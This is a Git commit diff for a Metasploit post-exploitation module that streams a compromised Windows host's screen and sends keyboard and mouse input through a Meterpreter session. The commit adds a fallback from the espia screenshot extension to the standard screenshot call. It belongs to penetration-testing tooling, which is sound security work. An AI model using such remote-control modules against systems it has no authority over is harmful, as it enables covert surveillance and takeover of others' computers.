Gracefully fallback to sesion.ui.screenshot when espia is not supported
This commit is contained in:
parent
6072382666
commit
e81f1b5687
|
@ -25,12 +25,16 @@ class MetasploitModule < Msf::Post
|
||||||
'Compat' => {
|
'Compat' => {
|
||||||
'Meterpreter' => {
|
'Meterpreter' => {
|
||||||
'Commands' => %w[
|
'Commands' => %w[
|
||||||
espia_image_get_dev_screen
|
|
||||||
stdapi_ui_desktop_screenshot
|
stdapi_ui_desktop_screenshot
|
||||||
stdapi_ui_send_keyevent
|
stdapi_ui_send_keyevent
|
||||||
stdapi_ui_send_mouse
|
stdapi_ui_send_mouse
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
'Notes' => {
|
||||||
|
'Stability' => [CRASH_SAFE],
|
||||||
|
'Reliability' => [],
|
||||||
|
'SideEffects' => []
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
@ -56,12 +60,20 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def supports_espia?(session)
|
||||||
|
return false unless session.platform == 'windows'
|
||||||
|
|
||||||
|
session.core.use('espia') unless session.espia
|
||||||
|
session.espia.present?
|
||||||
|
rescue RuntimeError
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
# rubocop:disable Metrics/MethodLength
|
# rubocop:disable Metrics/MethodLength
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
if request.uri =~ %r{/screenshot$}
|
if request.uri =~ %r{/screenshot$}
|
||||||
data = ''
|
data = ''
|
||||||
if session.platform == 'windows'
|
if supports_espia?(session)
|
||||||
session.console.run_single('load espia') unless session.espia
|
|
||||||
data = session.espia.espia_image_get_dev_screen
|
data = session.espia.espia_image_get_dev_screen
|
||||||
else
|
else
|
||||||
data = session.ui.screenshot(50)
|
data = session.ui.screenshot(50)
|
||||||
|
|
Loading…
Reference in New Issue